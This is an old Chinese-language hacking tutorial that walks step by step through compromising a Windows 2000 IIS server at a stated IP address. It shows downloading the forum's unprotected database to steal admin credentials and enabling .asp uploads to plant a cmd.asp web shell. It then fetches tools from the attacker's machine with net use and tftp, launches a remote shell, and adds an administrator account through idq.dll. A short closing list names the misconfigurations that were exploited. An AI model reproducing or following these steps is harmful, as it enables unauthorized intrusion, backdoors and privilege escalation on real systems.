利用网站错误配置获得完全控制
/ns/hk/hacker/data/20020803013900.htm
利用网站错误配置获得完全控制
by wawa
http://haowawa.126.com
其实现在网上安全站点和学黑的站点太多了,参与进来的人
也越来越多,这些促使了许多网站和个人增强安全意识,是件大好事.
所以诸如ipc$弱口令,printer,IDQ远程溢出,UNICODE,3389输入法等漏洞
已经相比之下少了很多.这里我们来聊聊如何不用以上的漏洞,
来入侵一台主机,加深一下对安全的理解.
某站点IP 61.61.13.13
开始:扫描端口,发现开放:80,135,139,1025
尝试获取IIS信息:
c:\tools>telnet 61.61.13.13 80
HTTP/1.1 400 Bad Request
Server: Microsoft-IIS/5.0
Date: Thu, 03 Jan 2002 19:26:59 GMT
Content-Type: text/html
Content-Length: 87
<html><head><title>Error</title></head><body>The parameter is incorrect. </body>
</html>
遗失对主机的连接。
C:\tools>
//是IIS5,综合以上信息基本判定为win2000服务器
尝试获取用户列表:
C:\tools>letmein \\61.61.13.13 -all -d
stating connecting to server ......
//失败!
尝试扫描iis cgi漏洞
略.
//做了安全配置,没有发现可利用之漏洞
接着开始浏览该站主页,
主页 http://61.61.13.13/index.htm
该网站很简单,主页采用html,没有使用ASP
论坛 http://61.61.13.13/bbs/default.asp
发现该站点有一ASP论坛,论坛为快乐论坛系统(以下均隐去真名)功能较多,共享程序
猜:综合端口扫描结果分析,此论坛应为ASP+ACCESS构建,因为在端口
扫描中没有发现诸如1433 3306等端口.(当然不是绝对的)
现在我们要从论坛入手了.
怎么入手呢?
可能有些同志马上就会开始测试%81,Translate:f.....
或猜文件名下载数据库,
但我觉得在不了解前就先不要盲目的碰.
现在开始在网上找这个论坛的程序下载
靠,好多地方都没有,
再搜...半小时后找到并下载.
呵呵~果然是用access
在自己的机器上装好此论坛,好好研究一下
发现:数据库名是fuck.mdb,在/data下,呵呵~
论坛有上传功能,需要设置,管理员登陆程序是poweruser_in.asp
差不多了,可以看看运气如何了.
http://61.61.13.13/bbs/data/fuck.mdb
晕倒!竟然没改,可以下载,
4M多,一会就完了,拿access2000或myadmin.asp打开数据库
顺利拿到论坛管理帐号:play/1314520
再看看运气,会不会论坛帐户密码和系统的一样:
net use \\61.61.13.13\ipc$ "1314520" /user:"play"
net use \\61.61.13.13\ipc$ "1314520" /user:"administrator"
//运气不好,都失败.
现在登陆论坛管理页,输入用户名及密码登陆论坛管理,
熟练的找到上传设置(为什么会熟练呢?因为已经了解)
将允许上传的文件类型中加上.asp
知道要干什么了吧?对,上传个ASP小程序(在浏览器中得到一个命令条,输入命令后在浏览器中返回结果)
上传cmd.asp到/upload下,好快,才1K多点,
好喽~~,把刚才允许上传的文件类型中的.ASP再删掉,接着退出.
在浏览器中:
http://61.61.13.13/bbs/upload/cmd.asp
出来了,呵呵~,收集点信息先:
dir c:\ d:\ e:\
net user
net start
net view
netstat -an
arp -a
...... //呵呵~~了解的差不多了
对了,试试at命令:
AT
拒绝访问。
倒,权限实在小的可怜啊!现在是需要提升权限了,
那就要上传文件,又到论坛里传???不用了,
虽然权限小,但还是有两种快捷的方法上传文件
1. net use \\myIP\c$ "mypass" /user:"myname"
2. tftp -i myIP get filename
明白了吧?我选第一种方法上传文件
先建立连接: net use \\myIP\c$ "mypass" /user:"myname" 命令成功完成
现在是不能直接copy文件到当前目录的,
因为当前默认路径是\winnt\system32,我们的权限小,这个目录我们是没有权限写的.
(具体中,你可以使用cacls命令查看对文件的权限)
那就建个目录先吧,建到d:\downloads下吧,那个目录我们有权限写:
md d:\downloads\winzip32 //呵呵~这名字不错.
先COPY个winshell.exe吧,开个telnet端口,命令行下总比在浏览器里方便啊.
copy \\myIP\c$\tools\winshell.exe d:\downloads\winzip32 已复制一个文件
启动它 d:\downloads\winzip32\winshell.exe 浏览器窗口会停好久,
不用等的,程序已经启动了,点停止,接着,
断开共享连接: net use \\myIP\c$ /del 完成
离开浏览器,打开命令行窗口
telnet 61.61.13.13 5277
WinShell v2.0 by janker@peckerland.com - '!' to end, 'Enter' to shell...
* d:\downloads\winzip32\winshell.exe
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-1998 Microsoft Corp.
c:\winnt\system32>
//成功得到一个shell
我们现在的权限很小,许多目录都不能访问或写,所以我们要想办法提高权限,
(个人认为如果是FAT32分区的话,可能会好办些,但NTFS,太麻烦)
这一步比较难,我试了很多方法都不成功.
比如:
使用netdde.exe pipeupadmin.exe 不行
上传了冰河6.0J,可以连接,但权限依然很小
而且你的木马和后门程序在对方重起后就不能用了
原因可能是权限小,无法创建服务或修改注册表,来实现开机自动启动.
在试验中,唯一觉得可行的是这样:(我运气!!!实际中我很少成功)
1.上传idq.dll到对方WEB目录里的可执行目录
2.用ispc 61.6.13.13/XXXX/idq.dll 连接上,得到system权限
3.或单独运行idq.dll,获得一个管理员组的用户"iisuser" 密码:"abcd1234"
http://61.61.13.13/XXXX/idq.dll
There will add a Administrators User "iisuser",Its Password is "abcd1234".If you want to enter cmd.exe shell,please use ispc.exe.
但这样一样存在问题,这个可执行的目录必须是"脚本和可执行程序"的配置
单单是"纯脚本"不行的.
不知道谁还有更好的成功办法和思路.
以上不难看出管理员的配置错误:
1.安装BBS后对数据库文件没有更改文件名或后缀
2.没有禁止或更改对FileSystemObject对象的调用
3.WEB目录没有禁止对"everyone"的完全控制
4.对没有必要使用的WEB目录使用了"脚本和可执行程序"的配置
可喜的是犯这些错误的人是越来越少了!这样也促使我们可以学习新的入侵方法.
个人理解,难免有错,请您指正.